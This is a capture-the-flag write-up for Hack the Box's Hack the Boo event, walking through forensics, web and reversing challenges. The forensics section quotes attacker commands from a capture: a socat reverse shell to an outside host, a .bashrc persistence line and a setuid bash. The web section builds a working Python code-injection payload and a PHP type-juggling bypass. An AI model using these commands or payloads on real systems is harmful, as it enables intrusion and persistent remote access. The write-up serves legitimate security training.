This is a walk-through of the Hack the Boo CTF of Hack the Box for Halloween.
- Forensics – Wrong Spooky Season
- Forensics – Trick or Breach
- Web – Evaluation Deck
- Web – Juggling Facts
- Reversing – Cult Meeting
- Reversing – Ouija
- Reversing – EncodedPayload
Forensics
Wrong Spooky Season – Easy – 200 pts
“I told them it was too soon and in the wrong season to deploy such a website, but they assured me that theming it properly would be enough to stop the ghosts from haunting us. I was wrong.” Now there is an internal breach in the `Spooky Network` and you need to find out what happened. Analyze the the network traffic and find how the scary ghosts got in and what they did.
- Download the challenge file: forensics_wrong_spooky_season.zip
- Unzip the file
unzip forensics_wrong_spooky_season.zip
- Start Wireshark and open the capture.pcap file.
- There is HTTP traffic.
- Click on Edit -> Find Packet…
- In Display filter, select String
- Enter HTTP/1.1 200 and click Find
Packet 418 stands out with parameter “cmd=whoami”
GET /e4d1c32a56ca15b3.jsp?cmd=whoami HTTP/1.1
root
Packet 426 stands out with parameter “cmd=id”
GET /e4d1c32a56ca15b3.jsp?cmd=id HTTP/1.1
uid=0(root) gid=0(root) groups=0(root)
Packet 436 installs socat
GET /e4d1c32a56ca15b3.jsp?cmd=apt%20-y%20install%20socat HTTP/1.1
Packet 464 uses socat to execute a reverse shell
GET /e4d1c32a56ca15b3.jsp?cmd=socat%20TCP:192.168.1.180:1337%20EXEC:bash HTTP/1.1
socat TCP:192.168.1.180:1337 EXEC:bash
Follow TCP Stream on packet 466
id
uid=0(root) gid=0(root) groups=0(root)
groups
root
uname -r
5.18.0-kali7-amd64
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/umount
/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chsh
echo 'socat TCP:192.168.1.180:1337 EXEC:sh' > /root/.bashrc && echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev > /dev/null && chmod +s /bin/bash
ls -lha
total 20K
drwxr-xr-x 1 root root 4.0K Oct 10 17:28 .
drwxr-xr-x 1 root root 4.0K Oct 10 17:28 ..
-rwxrwx--- 1 root root 1.8K Oct 8 00:04 pom.xml
drwxr-xr-x 3 root root 4.0K Oct 10 17:27 src
drwxr-xr-x 1 root root 4.0K Oct 10 17:28 target
We find this interesting command:
echo 'socat TCP:192.168.1.180:1337 EXEC:sh' > /root/.bashrc && echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev > /dev/null && chmod +s /bin/bash
Decode the command
The rev command is used to reverse lines characterwise (see man page). Command is encoded in base 64 and is reversed.
echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev | base64 -d
HTB{j4v4_5pr1ng_just_b3c4m3_j4v4_sp00ky!!}
Trick or Breach – Easy – 200 pts
Our company has been working on a secret project for almost a year. None knows about the subject, although rumor is that it is about an old Halloween legend where an old witch in the woods invented a potion to bring pumpkins to life, but in a more up-to-date approach. Unfortunately, we learned that malicious actors accessed our network in a massive cyber attack. Our security team found that the hack had occurred when a group of children came into the office’s security external room for trick or treat. One of the children was found to be a paid actor and managed to insert a USB into one of the security personnel’s computers, which allowed the hackers to gain access to the company’s systems. We only have a network capture during the time of the incident. Can you find out if they stole the secret project?
- Download the challenge file: forensics_trick_or_breach.zip
- Unzip the file
unzip forensics_trick_or_breach.zip
- Start Wireshark and open the capture.pcap file.
We see DNS traffic with suspicious subdomains.
504b0304140008080800a52c47550000000000000000000000.pumpkincorp.com
0018000000786c2f64726177696e67732f64726177696e6731.pumpkincorp.com
2e786d6c9dd05d6ec2300c07f013ec0e55de695a181343145e.pumpkincorp.com
...
This looks like DNS data exfiltration.
Extract the data
Use tcpdump to extract the subdomain part of pumpkincorp.com.
tcpdump -nX -r capture.pcap | grep pumpkincorp | cut -d " " -f8 | cut -d "." -f1 > data
We get a file containing all the subdomains. This looks like hexadecimal.
Convert from hex to ascii
Copy the data in CyberChef and choose From hex.
PK........¥,GU................xl/drawings/drawing1.xml.Ð]nÂ0..ð.ì.UÞiZ..C.^ÐN0.à%n...Ê.£Ü~ÑJ6i{..mË?ùïÍnt¶øDb.|#ê²..z.´ñ]#.ïo³.(8.×`.ÇF\.Ånû
...
We can see some text like “drawings/drawing1.xml”. The first characters are “PK” which corresponds to a ZIP file. Convert data from hex to ascii and send the output to a ZIP file.
cat data | xxd -r -p > data.zip
Unzip the file
unzip data.zip
Extract the flag
grep -Ri HTB .
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="28" uniqueCount="22"><si><t>Recipe Assignment</t></si><si><t>In this sheet there are assigned the ingredients of the punken pun secret project.</t></si><si><t>Subject</t></si><si><t>Assignment</t></si><si><t>Status</t></si><si><t>Time</t></si><si><t>Start date</t></si><si><t>Due on</t></si><si><t>Andrew</t></si><si><t>1 Fillet of a fenny snake</t></si><si><t>In progress</t></si><si><t>Nick</t></si><si><t>3 Lizard’s legs</t></si><si><t>Not started</t></si><si><t>3 Bat wings</t></si><si><t>Mike</t></si><si><t>3 Halloween chips</t></si><si><t>Done</t></si><si><t>HTB{M4g1c_c4nn0t_pr3v3nt_d4t4_br34ch}</t></si><si><t>Skipped</t></si><si><t>Team Members</t></si><si><t>Member of the Punkenpun project.</t></si></sst>
HTB{M4g1c_c4nn0t_pr3v3nt_d4t4_br34ch}
Web
Evaluation Deck – Easy – 200 pts
A powerful demon has sent one of his ghost generals into our world to ruin the fun of Halloween. The ghost can only be defeated by luck. Are you lucky enough to draw the right cards to defeat him and save this Halloween?
- Download the challenge file: web_evaluation_deck.zip
- Unzip the file
unzip web_evaluation_deck.zip
There is a file called flag.txt for testing.
HTB{f4k3_fl4g_f0r_t3st1ng}
Explore the files.
build-docker.sh
#!/bin/bash
docker rm -f web_evaluation_deck
docker build -t web_evaluation_deck .
docker run --name=web_evaluation_deck --rm -p1337:1337 -it web_evaluation_deck
This Docker container starts the web application on port 1337.
Command injection in routes.py
Explore the files. We find a command injection in routes.py
cd web_evaluation_deck/challenge/application/blueprints
cat routes.py
from flask import Blueprint, render_template, request
from application.util import response
web = Blueprint('web', __name__)
api = Blueprint('api', __name__)
@web.route('/')
def index():
return render_template('index.html')
@api.route('/get_health', methods=['POST'])
def count():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
current_health = data.get('current_health')
attack_power = data.get('attack_power')
operator = data.get('operator')
if not current_health or not attack_power or not operator:
return response('All fields are required!'), 400
result = {}
try:
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
exec(code, result)
return response(result.get('result'))
except:
return response('Something Went Wrong!'), 500
The vulnerable code uses the exec function with parameters that are modifiable by the user when calling API /api/get_health:
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
exec(code, result)
Use Bandit to audit Python code.
Build and start the Docker container for troubleshooting
sudo apt update
sudo apt install docker.io
chmod u+x build-docker.sh
sudo ./build-docker.sh
We can obtain a shell to validate the paths within the container.
sudo docker ps # List containers, ID is ead71580fd7f
sudo docker exec -it ead71580fd7f /bin/sh
When we create a file in this path in the container, it is accessible at: http://127.0.0.1:1337/static/test.txt
/app/application/static/test.txt
The flag.txt file for testing is in
/flag.txt
Intercept requests using Burp Suite
Access the local web application at http://127.0.0.1:1337.
POST /api/get_health HTTP/1.1
Host: 127.0.0.1:1337
...
Content-Type: application/json
...
{"current_health":"100","attack_power":"78","operator":"+"}
Build the injection payload with Python on Kali
This is the initial code, working as expected.
python3
result = {}
current_health = 100
attack_power = 10
operator = "*"
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
exec(code, result)
Complete the code with valid syntax.
operator = "*1\nfoo="
code = compile(f'result = {int(current_health)} {operator}
Make a system call (ls).
operator = "*1\nimport os\nos.system('ls')\nfoo="
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
exec(code, result)
This is the final payload to copy the flag.txt to a directory we can read:
* 1\nimport os\nos.system('cp /flag.txt /app/application/static/flag.txt')\nfoo=
POST /api/get_health HTTP/1.1
Host: 178.128.42.34:31500
...
Content-Type: application/json
...
{"current_health":"34","attack_power":"33","operator":"* 1\nimport os\nos.system('cp /flag.txt /app/application/static/flag.txt')\nfoo="}
Read the flag at http://<challenge IP>:31500/static/flag.txt.
HTB{c0d3_1nj3ct10ns_4r3_Gr3at!!}
Juggling Facts – Easy – 500 pts
An organization seems to possess knowledge of the true nature of pumpkins. Can you find out what they honestly know and uncover this centuries-long secret once and for all?
- Download the challenge file: web_juggling_facts.zip
- Unzip the file
unzip web_juggling_facts.zip
Explore the files.
build-docker.sh
#!/bin/bash
docker rm -f web_juggling_facts
docker build --tag=web_juggling_facts .
docker run -p 1337:1337 --rm --name=web_juggling_facts web_juggling_facts
This Docker container starts the web application on port 1337.
PHP loose comparison in switch statement
Explore the files. We find a PHP loose comparison in the switch statement of controllers/IndexController.php.
public function getfacts($router)
{
$jsondata = json_decode(file_get_contents('php://input'), true);
if ( empty($jsondata) || !array_key_exists('type', $jsondata))
{
return $router->jsonify(['message' => 'Insufficient parameters!']);
}
if ($jsondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
{
return $router->jsonify(['message' => 'Currently this type can be only accessed through localhost!']);
}
switch ($jsondata['type'])
{
case 'secrets':
return $router->jsonify([
'facts' => $this->facts->get_facts('secrets')
]);
case 'spooky':
return $router->jsonify([
'facts' => $this->facts->get_facts('spooky')
]);
case 'not_spooky':
return $router->jsonify([
'facts' => $this->facts->get_facts('not_spooky')
]);
default:
return $router->jsonify([
'message' => 'Invalid type!'
]);
}
}
}
If we call the API /api/getfacts with “type”:true, the first case statement will be executed.
Intercept requests using Burp Suite
The web application makes calls to API /api/getfacts.
POST /api/getfacts HTTP/1.1
Host: 127.0.0.1:1337
...
Content-Type: application/json
...
{"type":"secrets"}
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 74
{"message":"Currently this type can be only accessed through localhost!"}
Exploit the PHP loose comparison in /api/getfacts
Intercept requests using Burp Suite. Change type to true.
POST /api/getfacts HTTP/1.1
Host: 127.0.0.1:1337
...
Content-Type: application/json
...
{"type":true}
HTB{sw1tch_stat3m3nts_4r3_vuln3r4bl3!!!}
Reversing
Cult Meeting – Easy – 200 pts
After months of research, you’re ready to attempt to infiltrate the meeting of a shadowy cult. Unfortunately, it looks like they’ve changed their password!
- Download the challenge file: rev_cult_meeting.zip
- Unzip the file
unzip rev_cult_meeting.zip
Look at the strings from file
cd rev_cult_meeting
strings meeting
...
[3mYou knock on the door and a panel slides back
[3m A hooded figure looks out at you
"What is the password for this week's meeting?"
sup3r_s3cr3t_p455w0rd_f0r_u!
[3mThe panel slides closed and the lock clicks
| | "Welcome inside..."
/bin/sh
\/
\| "That's not our password - call the guards!"
;*3$"
...
We find the password “sup3r_s3cr3t_p455w0rd_f0r_u!”
Access the application and provide the password
nc <IP> <port>
You knock on the door and a panel slides back
|/👁 👁 \| A hooded figure looks out at you
"What is the password for this week's meeting?" sup3r_s3cr3t_p455w0rd_f0r_u!
sup3r_s3cr3t_p455w0rd_f0r_u!
The panel slides closed and the lock clicks
| | "Welcome inside..."
/bin/sh: 0: can't access tty; job control turned off
$ whoami
whoami
ctf
$ ls -la
ls -la
total 44
drwxr-xr-x 1 ctf ctf 4096 Oct 17 13:55 .
drwxr-xr-x 1 root root 4096 Oct 17 13:53 ..
-rw-r--r-- 1 ctf ctf 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ctf ctf 3526 Mar 27 2022 .bashrc
-rw-r--r-- 1 ctf ctf 807 Mar 27 2022 .profile
-rw-r--r-- 1 root root 36 Oct 17 13:53 flag.txt
-rwxr-xr-x 1 root root 17000 Oct 17 13:55 meeting
$ cat flag.txt
cat flag.txt
HTB{1nf1ltr4t1ng_4_cul7_0f_str1ng5}
HTB{1nf1ltr4t1ng_4_cul7_0f_str1ng5}
Reversing – Ouija – Easy – 200 pts
You’ve made contact with a spirit from beyond the grave! Unfortunately, they speak in an ancient tongue of flags, so you can’t understand a word. You’ve enlisted a medium who can translate it, but they like to take their time…
- Download the challenge file: rev_ouija.zip
- Unzip the file
unzip rev_ouija.zip
Inspect the strings from the program
strings strings rev_ouija/ouija
…
ZLT{Svvafy_kdwwhk_lg_qgmj_ugvw_escwk_al_wskq_lg_ghlaearw_dslwj!}
…
We can recognize the flag format, which should start with “HTB” instead of “ZLT”. Use CyberChef with the ROT13 recipe. Adjust the Amount until you get the flag. It should be 8.
HTB{Adding_sleeps_to_your_code_makes_it_easy_to_optimize_later!}
HTB{Adding_sleeps_to_your_code_makes_it_easy_to_optimize_later!}
Reversing – EncodedPayload – Easy – 200 pts
Buried in your basement you’ve discovered an ancient tome. The pages are full of what look like warnings, but luckily you can’t read the language! What will happen if you invoke the ancient spells here?
- Download the challenge file: rev_encodedpayload.zip
- Unzip the file
unzip rev_encodedpayload.zip
Looking at the strings from the file does not help.
Use strace to trace system calls and signals
strace ./encodedpayload
execve("./encodedpayload", ["./encodedpayload"], 0x7ffd3d8cba00 /* 56 vars */) = 0
[ Process PID=586384 runs in 32 bit mode. ]
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
dup2(3, 2) = 2
dup2(3, 1) = 1
dup2(3, 0) = 0
connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("127.0.0.1")}, 102) = -1 ECONNREFUSED (Connection refused)
syscall_0xffffffffffffff0b(0xffe534d8, 0xffe534d0, 0, 0, 0, 0) = -1 ENOSYS (Function not implemented)
execve("/bin/sh", ["/bin/sh", "-c", "echo HTB{PLz_strace_M333}"], NULL) = 0
[ Process PID=586384 runs in 64 bit mode. ]
brk(NULL) = 0x563804f53000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fa2569ac000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
newfstatat(4, "", {st_mode=S_IFREG|0644, st_size=125182, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 125182, PROT_READ, MAP_PRIVATE, 4, 0) = 0x7fa25698d000
close(4) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 4
read(4, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\300\223\2\0\0\0\0\0"..., 832) = 832
pread64(4, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(4, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\200\0\300\4\0\0\0\1\0\0\0\0\0\0\0", 32, 848) = 32
pread64(4, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0q\247\307\271{\300\263\343I\243\330d\2ReU"..., 68, 880) = 68
newfstatat(4, "", {st_mode=S_IFREG|0755, st_size=2061320, ...}, AT_EMPTY_PATH) = 0
pread64(4, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2109328, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0x7fa256600000
mmap(0x7fa256628000, 1507328, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x28000) = 0x7fa256628000
mmap(0x7fa256798000, 360448, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x198000) = 0x7fa256798000
mmap(0x7fa2567f0000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x1f0000) = 0x7fa2567f0000
mmap(0x7fa2567f6000, 53136, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fa2567f6000
close(4) = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fa25698a000
arch_prctl(ARCH_SET_FS, 0x7fa25698a740) = 0
set_tid_address(0x7fa25698aa10) = 586384
set_robust_list(0x7fa25698aa20, 24) = 0
rseq(0x7fa25698b0e0, 0x20, 0, 0x53053053) = 0
mprotect(0x7fa2567f0000, 16384, PROT_READ) = 0
mprotect(0x563803e9c000, 8192, PROT_READ) = 0
mprotect(0x7fa2569e1000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x7fa25698d000, 125182) = 0
getuid() = 1000
getgid() = 1000
getpid() = 586384
rt_sigaction(SIGCHLD, {sa_handler=0x563803e91d80, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7fa25663daa0}, NULL, 8) = 0
geteuid() = 1000
getppid() = 586381
getrandom("\x97\xd2\xae\xea\xf0\x19\xa9\x37", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x563804f53000
brk(0x563804f74000) = 0x563804f74000
getcwd("/home/kali/htb/ctf-hacktheboo/encodedpayload", 4096) = 45
geteuid() = 1000
getegid() = 1000
rt_sigaction(SIGINT, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGINT, {sa_handler=0x563803e91d80, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7fa25663daa0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGQUIT, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7fa25663daa0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGTERM, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7fa25663daa0}, NULL, 8) = 0
write(1, "HTB{PLz_strace_M333}\n", 21) = -1 EPIPE (Broken pipe)
--- SIGPIPE {si_signo=SIGPIPE, si_code=SI_USER, si_pid=586384, si_uid=1000} ---
+++ killed by SIGPIPE +++
The flag is near the end.
HTB{PLz_strace_M333}